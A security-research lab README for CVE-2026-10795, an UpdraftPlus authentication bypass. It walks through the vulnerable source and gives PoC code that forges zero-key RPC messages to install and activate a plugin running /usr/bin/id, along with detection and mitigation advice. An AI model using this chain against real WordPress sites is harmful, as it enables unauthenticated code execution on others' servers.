CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentication Bypass Chained to Plugin Installation

Executive Summary

This repository contains a local Docker lab for reproducing and validating CVE-2026-10795, an unauthenticated authentication bypass vulnerability affecting the UpdraftPlus WordPress plugin through its UpdraftCentral remote communication layer.

The vulnerable behavior exists in the UpdraftCentral RPC message handling flow. In vulnerable versions, a forged format=1 RPC message can bypass signature verification, trigger a failed RSA decrypt path, and still reach symmetric decryption with a predictable null key/null IV behavior. This allows a crafted encrypted RPC message to be accepted and dispatched as an UpdraftCentral command.

This lab compares two UpdraftPlus versions:

The demonstrated chain is:

Unauthenticated attacker
→ forged UpdraftCentral RPC request
→ format=1 signature verification bypass
→ failed RSA decrypt not rejected in vulnerable version
→ predictable zero-key/zero-IV decrypt path
→ forged JSON RPC command accepted
→ privileged UpdraftCentral command dispatch
→ plugin.upload_plugin
→ install and activate marker plugin
→ hard-coded /usr/bin/id proof endpoint

The primary vulnerability is authentication bypass. The lab demonstrates that the bypass can be chained to an RCE-style impact when a privileged UpdraftCentral key state is present, because UpdraftCentral exposes legitimate plugin management commands that can install and activate WordPress plugins.

This is not a direct command injection vulnerability. The code execution proof comes from abusing authenticated plugin installation functionality after bypassing the RPC authentication boundary.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

Verified Facts

Assumptions and Unknowns

This lab intentionally seeds a local UpdraftCentral key state to reproduce a site condition where remote control has been configured.

The seeded key state is a lab prerequisite, not the vulnerability itself. It allows the lab to consistently exercise the vulnerable RPC parsing and decryption path.

The lab does not claim that every UpdraftPlus installation is immediately exploitable. The demonstrated chain depends on the presence of an UpdraftCentral local key entry that is associated with a privileged WordPress user.

The lab demonstrates a controlled RCE-style impact by installing a marker plugin that exposes a hard-coded /usr/bin/id proof endpoint. It does not provide a generic web shell, arbitrary command execution parameter, reverse shell, persistence mechanism, credential theft, or external callback.

The PoC is scoped to local targets only and refuses non-local hostnames by default.

Root Cause Summary

The root cause is improper validation of UpdraftCentral RPC messages in vulnerable versions of UpdraftPlus.

The vulnerable RPC flow accepts a format=1 message. The format=1 path does not require the same signature verification as newer message formats.

The high-level issue is:

format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

In vulnerable behavior, RSA decryption can return:

false

Instead of rejecting that failed decrypt result, the vulnerable flow continues and passes the value into the symmetric decryption layer.

The effective vulnerable pattern is:

$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

The problem is that $sym_key is not validated before it is used.

When $sym_key is false, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.

The patched version adds a guard before the symmetric key is used:

if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

This changes the trust boundary.

Before the patch:

failed RSA decrypt result could still reach symmetric decrypt

After the patch:

failed RSA decrypt result is rejected before command dispatch

This is why the vulnerable service dispatches the forged RPC command, while the patched service does not.

Why an Authentication Bypass Can Lead to Code Execution

CVE-2026-10795 is best described as an authentication bypass because the root flaw is in the RPC authentication and message verification layer.

However, after that authentication boundary is bypassed, the attacker-controlled RPC message can reach privileged UpdraftCentral commands.

One important command path is:

plugin.upload_plugin

This command is part of UpdraftCentral’s plugin management functionality. It accepts a plugin ZIP payload, writes it to a temporary location, installs the plugin, and activates it when requested.

The impact chain is therefore:

Authentication bypass
→ forged privileged RPC command
→ plugin upload through legitimate UpdraftCentral functionality
→ plugin installation
→ plugin activation
→ WordPress plugin code execution

This is not command injection.

The lab demonstrates code execution by installing a marker plugin that exposes a single endpoint:

/wp-json/cve-lab/v1/id

The marker plugin does not accept a command parameter. It only runs:

/usr/bin/id

This keeps the proof controlled and avoids turning the lab into a general-purpose web shell.

Source Patch Summary

The relevant patch behavior is that the patched version rejects invalid symmetric keys before attempting to decrypt the RPC message body.

The important validation is:

if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

This prevents the vulnerable fallback behavior where a failed RSA decrypt result can become a predictable symmetric key path.

The practical result is:

UpdraftPlus 1.26.4
→ forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5
→ failed symmetric key validation stops the forged message
→ command dispatch is not reached

The lab also validates the downstream impact by targeting the real UpdraftCentral plugin upload command path.

The relevant command behavior is:

plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

The patched version blocks the forged message before this command path is reached.

Source-Level Walkthrough

This section explains the vulnerable path at source-code level and maps each PoC step to the relevant UpdraftPlus / UpdraftCentral behavior.

The lab does not rely on a fake vulnerable application route. The vulnerable behavior is reached through the real UpdraftCentral RPC listener and the real UpdraftCentral plugin-management command path.

The important source areas are:

vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php
central/bootstrap.php
central/listener.php
central/commands.php
central/modules/plugin.php

Listener Creation

The vulnerable RPC path starts when WordPress receives a POST request containing:

udrpc_message
format
key_name

The RPC library registers a listener on WordPress wp_loaded when those POST fields exist.

Conceptually, the flow is:

if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) {
    add_action('wp_loaded', array($this, 'wp_loaded'));
    add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000);
}

This means the attacker does not need to know a special REST endpoint or admin URL. The forged RPC request is sent as a normal POST request to the WordPress site root.

The PoC sends:

POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

The request reaches the same listener path used by legitimate UpdraftCentral remote communication.

Key Name Matching

UpdraftCentral stores local remote-control keys in WordPress options. In this lab, the setup script seeds a controlled key state for both the vulnerable and patched targets.

The relevant key name is:

0.central.updraftplus.com

This format is produced by the UpdraftCentral key indicator logic:

private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

The listener only continues if the unencrypted POST field matches the expected key indicator:

if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) {
    return;
}

The PoC therefore sets:

KEY_NAME = "0.central.updraftplus.com"

This is not the vulnerability. It is a lab prerequisite that lets the test exercise the vulnerable RPC parsing and decryption path in a reproducible way.

Format Handling and Signature Bypass

UpdraftCentral supports message formats. The important distinction is:

format=1  legacy path
format=2  signed message path

In the vulnerable code path, signature verification only happens when the format is greater than or equal to 2:

if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

Because the PoC uses:

format=1

this signature verification block is skipped.

That is the authentication bypass boundary.

A legitimate format=2 message is expected to include a valid signature. The forged format=1 message does not need one, so the attacker-controlled message can continue to the decrypt path.

Vulnerable Decryption Flow

After format and key-name checks, the listener decrypts the submitted udrpc_message.

The vulnerable decryption flow in UpdraftPlus 1.26.4 is effectively:

$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

The bug is between these two operations:

$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);

If RSA decryption fails, $rsa->decrypt() can return:

false

The vulnerable version does not reject that value before passing it into:

$rij->setKey($sym_key);

The patched version fixes this by adding validation:

if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

This guard is the security-relevant patch. It prevents a failed RSA decrypt result from reaching the symmetric cipher setup.

Why false Becomes Predictable

The vulnerable behavior is dangerous because setKey(false) does not safely fail in this phpseclib path.

The cipher code calculates key length from the provided key:

$this->setKeyLength(strlen($key) << 3);
$this->key = $key;

When $key is false, strlen(false) behaves like a zero-length key case.

The Rijndael key-length logic rounds very small key sizes up to a valid minimum key length:

case $length <= 128:
    $this->key_length = 16;
    break;

The cipher setup then pads the key and IV with null bytes:

$this->encryptIV = $this->decryptIV =
    str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key =
    str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

So the attacker can model the vulnerable decrypt behavior as:

AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

This is why the PoC can encrypt a JSON RPC command locally and have the vulnerable target decrypt it successfully.

Message Structure Used by the PoC

The vulnerable decrypt function expects the encrypted message to contain:

3 hex chars     length of RSA-encrypted symmetric key, as base64 text
N chars         base64 RSA-encrypted symmetric key
16 hex chars    length of ciphertext, as base64 text
M chars         base64 encrypted message body

The PoC builds this structure manually:

bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

The RSA block is intentionally invalid:

BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

On UpdraftPlus 1.26.4, that invalid RSA block causes RSA decrypt to fail, but the failure is not rejected.

On UpdraftPlus 1.26.5, the failed decrypt result is rejected by the new guard and the forged message does not reach command dispatch.

Inner JSON RPC Message

The encrypted inner message is a normal UpdraftCentral-style JSON command.

For ping validation, the PoC uses:

{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

For the default ID proof, the PoC uses:

{
  "command": "plugin.upload_plugin",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456,
  "data": {
    "filename": "cve-2026-10795-id-marker.zip",
    "data": "<base64 plugin zip>",
    "activate": true
  }
}

The key_name appears both outside and inside the encrypted message. The listener checks that both match:

if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

That is why the PoC must include the same key name in both places.

JSON Validation Before Dispatch

After decrypting the message, the listener parses it as JSON:

$udrpc_message = json_decode($udrpc_message, true);

The message must contain a valid command:

if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

It must also contain a timestamp:

if (empty($udrpc_message['time'])) {
    die;
}

The timestamp must be within the allowed replay window:

$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

The PoC therefore sets the inner time field to the current time.

Command Dispatch

After the message is decrypted and validated, UpdraftCentral dispatches the command.

Commands use a prefix format:

<prefix>.<method>

For example:

plugin.upload_plugin

This becomes:

prefix = plugin
method = upload_plugin

The listener resolves the command class from the prefix and then calls the method dynamically:

$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

For the PoC command:

plugin.upload_plugin

the listener calls:

UpdraftCentral_Plugin_Commands::upload_plugin($data)

This is why the PoC does not need a direct command-injection sink. It reaches a legitimate privileged UpdraftCentral command after bypassing the RPC authentication boundary.

User Context and Capability Checks

The listener can set the current WordPress user from the UpdraftCentral key metadata:

if (!empty($extra_info['user_id'])) {
    wp_set_current_user($extra_info['user_id']);
}

In this lab, the seeded key has:

extra_info.user_id = 1

That simulates a configured UpdraftCentral key associated with the administrator user created during WordPress setup.

This matters because the plugin upload path checks WordPress capabilities:

if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) {
    $permission_error = true;
}

So the bypass alone gets the forged command into the RPC layer. The seeded key metadata determines which WordPress user context the command runs under.

In this lab, the command runs in admin context because the key is associated with user ID 1.

Plugin Upload Sink

The command method is:

public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

The shared upload handler expects plugin upload data:

filename
data
activate

The PoC sends:

{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

The upload handler writes the ZIP content to a temporary file:

$result = file_put_contents(
    $upload_dir.'/'.$filename,
    base64_decode($params['data']),
    FILE_APPEND | LOCK_EX
);

For a non-chunked upload, installation proceeds immediately:

$install_now = true;

The handler then builds a ZIP path:

$zip_filepath = $upload_dir.'/'.$filename;

and installs it using the UpdraftCentral plugin upgrader:

$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

If installation succeeds and activate is true, the code activates the installed plugin:

if ((bool) $params['activate'] && !$is_active) {
    $activate = activate_plugin($data['slug']);
}

A successful install response contains:

return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

This is the source-level reason why a forged RPC authentication bypass can be chained to WordPress plugin installation and activation.

Marker Plugin

The marker plugin is generated by the PoC in memory. It is not pre-installed by Docker setup.

The generated ZIP contains:

cve-2026-10795-id-marker/
└── cve-2026-10795-id-marker.php

The marker plugin registers one REST route:

/wp-json/cve-lab/v1/id

The endpoint returns:

lab
plugin
proof
uid
gid
user
id_output

The only command executed by the marker plugin is hard-coded:

shell_exec('/usr/bin/id 2>&1');

There is no user-controlled cmd parameter.

This is intentional. The lab proves plugin-code execution while avoiding a generic web shell.

Why the Patched Target Returns 404

The patched service receives the same forged request and has the same seeded key state.

The difference is the patched decrypt guard:

if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Because the PoC intentionally supplies an invalid RSA block, the decrypted symmetric key is invalid.

In UpdraftPlus 1.26.5, the forged message stops before JSON parsing and before command dispatch.

Therefore:

plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

This patched behavior proves that the lab result depends on the vulnerable UpdraftPlus RPC code path, not on the Docker harness.

PoC-to-Source Mapping

How the PoC Code Maps to the Vulnerability

The PoC starts by refusing non-local targets:

allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts:
    raise ValueError("Refusing non-local target")

This keeps the script scoped to the Docker lab.

The PoC builds the inner RPC message:

inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

If the default ID proof is used, the command is:

command = "plugin.upload_plugin"

and the data is:

{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:

ZERO_KEY = b"\x00" * 16
ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

This matches the vulnerable consequence of passing false into the symmetric cipher setup.

The PoC intentionally uses a bad RSA block:

BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

The resulting udrpc_message is built in the same length-prefixed format that the RPC decrypt function expects:

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

Finally, the PoC sends the forged RPC request:

fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

On the vulnerable target, the server response contains a valid RPC-style JSON response body. The PoC treats that as:

RPC DISPATCHED

After dispatch, the PoC verifies the impact by requesting the marker endpoint:

GET /wp-json/cve-lab/v1/id

If the marker plugin was installed and activated, the endpoint returns:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

That output proves that the forged unauthenticated RPC message reached a privileged plugin installation path and activated attacker-supplied plugin code inside the local lab.

What the Lab Proves

This lab proves the following technical chain:

1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

The lab does not prove that every installation is exploitable without prerequisites.

The required prerequisite for this demonstration is:

an existing UpdraftCentral local key state associated with a privileged WordPress user

The Docker setup creates that prerequisite in both targets so the difference between vulnerable and patched behavior can be tested fairly.

Lab Architecture

The lab runs two isolated WordPress installations through Docker Compose.

.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

The two WordPress services run separate databases and separate UpdraftPlus versions:

Default exposed services:

Vulnerable target: http://127.0.0.1:8081
Patched target:    http://127.0.0.1:8082

The setup process seeds the same UpdraftCentral key state into both services:

key_name: 0.central.updraftplus.com
extra_info.user_id: 1

This gives both targets the same prerequisite state. The difference in behavior comes from the vulnerable versus patched UpdraftPlus code, not from different lab setup.

Requirements

• Docker Desktop or Docker Engine
• Docker Compose v2
• Python 3
• Python virtual environment support
• Internet access during Docker image build
• Python packages listed in requirements.txt

Python dependencies:

requests
urllib3<2
pycryptodome

The urllib3<2 constraint avoids LibreSSL-related warnings on some macOS Python builds.

Quick Start

Start from a clean lab state:

docker compose down -v --remove-orphans
docker compose up -d --build

Watch setup logs:

docker compose logs -f vuln_setup patched_setup

Expected setup indicators:

Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.5
Setup complete for CVE-2026-10795 patched

Check running services:

docker compose ps

Create and activate a Python virtual environment:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Run the default ID proof against the vulnerable target:

python3 poc/poc.py --url http://127.0.0.1:8081

Run the same proof against the patched target:

python3 poc/poc.py --url http://127.0.0.1:8082

The script requires the --url option intentionally. This forces the tester to choose the target explicitly instead of automatically attacking both services.

PoC Usage

Default behavior:

python3 poc/poc.py --url <local_target_url>

Example vulnerable target:

python3 poc/poc.py --url http://127.0.0.1:8081

Example patched target:

python3 poc/poc.py --url http://127.0.0.1:8082

Optional ping-only validation:

python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Supported options:

Accepted target hosts:

127.0.0.1
localhost
::1

The PoC refuses non-local targets by default.

How the PoC Works

The PoC runs from the host machine and sends HTTP requests to the exposed Docker services.

The default PoC action is the ID proof.

The high-level flow is:

1. Receive explicit --url target from the tester
2. Refuse non-local targets
3. Build a marker WordPress plugin ZIP in memory
4. Create a forged UpdraftCentral RPC message
5. Send command plugin.upload_plugin through format=1
6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
7. Install and activate the marker plugin
8. Request /wp-json/cve-lab/v1/id
9. Print the hard-coded /usr/bin/id output

The marker plugin is not stored in the repository as a standalone plugin file. It is generated in memory by the PoC.

The forged RPC command is:

plugin.upload_plugin

The RPC data contains:

filename = cve-2026-10795-id-marker.zip
data     = base64(plugin_zip)
activate = true

The PoC encrypts the inner JSON RPC message using:

AES-CBC
key = 16 null bytes
iv  = 16 null bytes

It also includes an intentionally invalid RSA-encrypted symmetric key block.

On the vulnerable version, the RSA decrypt failure is not rejected. The message continues into the predictable null-key decrypt path and the forged command is dispatched.

On the patched version, the invalid symmetric key is rejected and the forged command is not dispatched.

Why --ping Exists

The --ping option is a debugging aid.

It validates only the crypto bypass and RPC dispatch boundary. It does not upload a plugin and does not run /usr/bin/id.

Use --ping when the default ID proof does not work and the failure needs to be isolated.

If --ping fails, the issue is likely before command execution:

wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior

If --ping succeeds but the ID proof fails, the issue is likely after dispatch:

plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

Expected ping behavior:

1.26.4 vulnerable target → PING DISPATCHED
1.26.5 patched target    → PING NOT DISPATCHED

Expected Results

Vulnerable Target

Command:

python3 poc/poc.py --url http://127.0.0.1:8081

Expected vulnerable signal:

CVE-2026-10795 local lab-only ID validation
Scope         : localhost / Docker lab only
Technique     : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety        : no generic web shell, no cmd parameter, no external targets
Key name      : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target        : http://127.0.0.1:8081/
Command       : plugin.upload_plugin
Decision      : RPC DISPATCHED
HTTP status   : 200
Body bytes    : non-zero
RPC JSON seen : True
Resp. format  : 2
----------------------------------------------------------------------------------------
ID endpoint   : http://127.0.0.1:8081/wp-json/cve-lab/v1/id
Marker active : True
HTTP status   : 200
id output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
========================================================================================
Interpretation:
  UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
  UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
  id output should be a hard-coded local proof such as uid=33(www-data).

Patched Target

Command:

python3 poc/poc.py --url http://127.0.0.1:8082

Expected patched signal:

CVE-2026-10795 local lab-only ID validation
Scope         : localhost / Docker lab only
Technique     : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety        : no generic web shell, no cmd parameter, no external targets
Key name      : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target        : http://127.0.0.1:8082/
Command       : plugin.upload_plugin
Decision      : RPC NOT DISPATCHED
HTTP status   : 200
Body bytes    : 0
RPC JSON seen : False
Body prefix   : ''
----------------------------------------------------------------------------------------
ID endpoint   : http://127.0.0.1:8082/wp-json/cve-lab/v1/id
Marker active : False
HTTP status   : 404
Body prefix   : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'
========================================================================================
Interpretation:
  UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
  UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
  id output should be a hard-coded local proof such as uid=33(www-data).

Manual Verification Commands

Check service health:

docker compose ps

Inspect vulnerable service metadata:

curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

Inspect patched service metadata:

curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Check runtime plugin state:

curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

Run ping-only validation:

python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Run ID proof:

python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082

Check marker endpoint directly after running the PoC:

curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

Expected:

8081 → marker endpoint exists and returns id output
8082 → marker endpoint returns 404 rest_no_route

Check installed plugins inside the vulnerable container:

docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

Check installed plugins inside the patched container:

docker compose exec -T patched sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

The vulnerable service should contain the marker plugin after the PoC runs. The patched service should not.

Impact

This lab demonstrates that an unauthenticated attacker can forge an UpdraftCentral RPC message that reaches privileged command dispatch in UpdraftPlus 1.26.4 when a suitable UpdraftCentral key state exists.

The demonstrated impact is RCE-style because the forged RPC command abuses legitimate plugin management functionality:

plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

The local proof shows execution as the web server user:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The vulnerability category remains authentication bypass. The code execution result is a chained impact through privileged WordPress plugin installation.

Detection and Monitoring

Potential indicators include unauthenticated POST requests to the WordPress front page containing UpdraftCentral RPC fields:

format
key_name
udrpc_message
signature

Suspicious characteristics:

format=1
key_name ending with .central.updraftplus.com
large udrpc_message value
unexpected unauthenticated POST requests to /
repeated RPC attempts with empty or unusual response bodies
new unexpected plugin directories under wp-content/plugins
new plugin activation events
REST routes appearing unexpectedly after a suspicious request

Local lab indicators:

POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

Production monitoring ideas:

• Review web access logs for POST requests containing udrpc_message.
• Alert on format=1 RPC requests from untrusted sources.
• Review UpdraftPlus and UpdraftCentral logs if available.
• Monitor unexpected plugin installation or activation events.
• Monitor filesystem changes under wp-content/plugins.
• Review administrator users and remote management integrations.
• Check whether UpdraftPlus is older than the fixed version.
• Remove stale or unused UpdraftCentral remote-control keys.

Mitigation and Patch Notes

Upgrade UpdraftPlus to version 1.26.5 or later.

The patched version rejects invalid decrypted symmetric keys before symmetric decryption and command dispatch.

Recommended mitigation steps:

• Upgrade UpdraftPlus.
• Review whether UpdraftCentral remote control is enabled or has been configured.
• Remove stale UpdraftCentral keys if remote control is not needed.
• Review WordPress administrator accounts.
• Review installed plugins for unexpected additions.
• Review access logs for suspicious udrpc_message requests.
• Rotate credentials if compromise is suspected.
• Restore from known-good backups if unauthorized plugin installation is confirmed.
• Use a WAF rule only as a temporary layer, not as a replacement for patching.

The most important fix is to run a patched UpdraftPlus version that rejects invalid symmetric keys before decryption and dispatch.

Cleanup

Stop containers and remove networks:

docker compose down --remove-orphans

Remove containers, networks, and volumes:

docker compose down -v --remove-orphans

Remove Python virtual environment:

rm -rf venv

Remove local evidence files if created:

rm -rf evidence/

Safety Boundaries

This lab is for local security research and controlled demonstration only.

Do not run the PoC against systems you do not own or do not have explicit permission to test.

Do not use real credentials, production secrets, or external targets in this lab.

The PoC is intentionally scoped to local Docker services such as:

http://127.0.0.1:8081
http://127.0.0.1:8082
http://localhost:8081
http://localhost:8082

The PoC refuses non-local targets by default.

The marker plugin does not implement a generic command execution parameter. It only exposes a hard-coded local proof endpoint that runs /usr/bin/id.

This lab does not include:

generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

The goal is to demonstrate one specific technical condition in a controlled environment:

unauthenticated forged RPC
+ vulnerable format=1 validation behavior
+ failed RSA decrypt not rejected
+ predictable symmetric decrypt path
+ privileged UpdraftCentral command dispatch
+ plugin upload and activation
+ patched version blocks before dispatch

References

• NVD: CVE-2026-10795 https://nvd.nist.gov/vuln/detail/CVE-2026-10795

• Wordfence Vulnerability Database: UpdraftPlus https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

• Patchstack Database: UpdraftPlus https://patchstack.com/database/

• WordPress.org Plugin: UpdraftPlus https://wordpress.org/plugins/updraftplus/

• WordPress.org Plugin SVN https://plugins.svn.wordpress.org/updraftplus/

• WordPress.org Plugin SVN Tags https://plugins.svn.wordpress.org/updraftplus/tags/

• TeamUpdraft: UpdraftCentral https://updraftplus.com/updraftcentral/

• OWASP: Authentication Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

• OWASP: Web Security Testing Guide https://owasp.org/www-project-web-security-testing-guide/